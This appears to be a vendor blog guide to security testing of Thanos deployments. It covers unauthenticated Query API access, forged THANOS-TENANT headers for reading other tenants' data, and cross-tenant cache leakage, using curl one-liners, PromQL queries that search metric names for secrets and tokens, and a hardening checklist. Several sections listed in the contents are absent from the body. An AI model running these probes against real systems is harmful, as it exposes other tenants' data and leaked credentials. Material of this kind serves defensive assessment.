Thanos Security Testing: Query Frontend Exposure, Tenant Isolation Bypass, and Store API Abuse

Thanos extends Prometheus with long-term metric storage, global query view, and multi-tenancy via the thanos-receive hash ring. Its components (Query, Query Frontend, Store, Receive, Ruler, Compactor, Sidecar) each expose HTTP and gRPC endpoints. Security concerns include: Thanos Query's HTTP API on port 10902 exposing all tenants' metrics without authentication when not behind a proxy, multi-tenant isolation relying solely on the THANOS-TENANT HTTP header that is trivially forged, the Thanos Store gRPC API providing access to historical metrics from object storage, Thanos Ruler's --rule.files configuration being injectable from remote paths, and object storage credentials (S3, GCS, Azure) hardcoded in Thanos configuration files. This guide covers systematic Thanos security assessment.

Table of Contents

  1. Thanos Query API Unauthenticated Access
  2. Multi-Tenant Isolation Bypass
  3. Store gRPC API Exposure
  4. Thanos Ruler Rule Injection
  5. Object Storage Credential Exposure
  6. Sidecar Endpoint Exposure
  7. Thanos Security Hardening

Thanos Query API Unauthenticated Access

# Thanos Query HTTP API: port 10902
# Exposes full PromQL query interface to all metrics from all connected stores

# Check Thanos Query API accessibility
curl -s "http://thanos-query.example.com:10902/-/healthy" 2>/dev/null
# Returns "Thanos Query is Healthy." = API accessible

# Execute PromQL query reading all metrics
curl -s "http://thanos-query.example.com:10902/api/v1/query?query=up" 2>/dev/null | \
  python3 -c "
import json,sys
r = json.load(sys.stdin)
results = r.get('data',{}).get('result',[])
print(f'Metrics accessible: {len(results)}')
for m in results[:5]:
    print(f\"  Job: {m.get('metric',{}).get('job','?')} instance: {m.get('metric',{}).get('instance','?')}\")
"

# Query for sensitive metrics — application secrets sometimes scraped
curl -s "http://thanos-query.example.com:10902/api/v1/query?query={__name__=~'.*password.*|.*secret.*|.*token.*|.*key.*'}" \
  2>/dev/null | python3 -m json.tool | head -20

# Get all available metric names (information disclosure)
curl -s "http://thanos-query.example.com:10902/api/v1/label/__name__/values" \
  2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
names = r.get('data',[])
print(f'Metric names: {len(names)}')
# Look for metrics that hint at internal services
sensitive = [n for n in names if any(s in n.lower() for s in ['db','sql','redis','kafka','secret'])]
print(f'Sensitive-looking names: {sensitive[:10]}')
"

Multi-Tenant Isolation Bypass

# Thanos multi-tenancy via thanos-receive uses THANOS-TENANT HTTP header
# If the header enforcement is at a proxy layer, it may be bypassable

# Query with forged tenant header
curl -s "http://thanos-query.example.com:10902/api/v1/query?query=up" \
  -H "THANOS-TENANT: other-tenant-id" 2>/dev/null | \
  python3 -c "
import json,sys
r = json.load(sys.stdin)
results = r.get('data',{}).get('result',[])
print(f'Results for tenant: {len(results)}')
for m in results[:3]:
    print(m.get('metric',{}))
"

# Try reading another tenant's metrics by manipulating label selectors
curl -s "http://thanos-query.example.com:10902/api/v1/query?query={tenant_id='victim-tenant'}" \
  2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
results = r.get('data',{}).get('result',[])
print(f'Cross-tenant results: {len(results)}')
"

# Thanos Query Frontend caching bypass
# Cache poisoning: race condition where cached response for tenant A
# is served to tenant B if query is identical
curl -s "http://thanos-queryfrontend.example.com:9090/api/v1/query_range?query=up&start=...&end=...&step=60" \
  -H "THANOS-TENANT: tenant-a" 2>/dev/null | head -5
# Immediately query with different tenant
curl -s "http://thanos-queryfrontend.example.com:9090/api/v1/query_range?query=up&start=...&end=...&step=60" \
  -H "THANOS-TENANT: tenant-b" 2>/dev/null | head -5
# If responses are identical, cache is not tenant-scoped

Thanos Security Hardening

Thanos Security Hardening Checklist:
Security TestMethodRisk
Thanos Query API unauthenticated accesscurl :10902/api/v1/query?query=up — returns all tenants' metricsCritical
Tenant header forging for cross-tenant data accessQuery with arbitrary THANOS-TENANT header valueHigh
Store gRPC port accessible without authgrpc_cli call :10901 thanos.Store/InfoHigh
Object storage credentials in configRead Thanos config files for S3/GCS/Azure credentialsHigh
Metrics containing secrets (label injection)Query {__name__=~".*secret.*|.*token.*"} via PromQLMedium
Query Frontend cache without tenant keyRace two tenants with identical queries — check if results matchMedium

Automate Thanos Security Testing

Ironimo tests Thanos deployments for unauthenticated Query API access exposing all tenants' metrics, multi-tenant isolation bypass via THANOS-TENANT header forging, Store gRPC API exposure, Ruler rule injection, object storage credential exposure in configuration, Query Frontend cache poisoning for cross-tenant data leakage, and metrics containing sensitive labels scraped from misconfigured applications.

Start free scan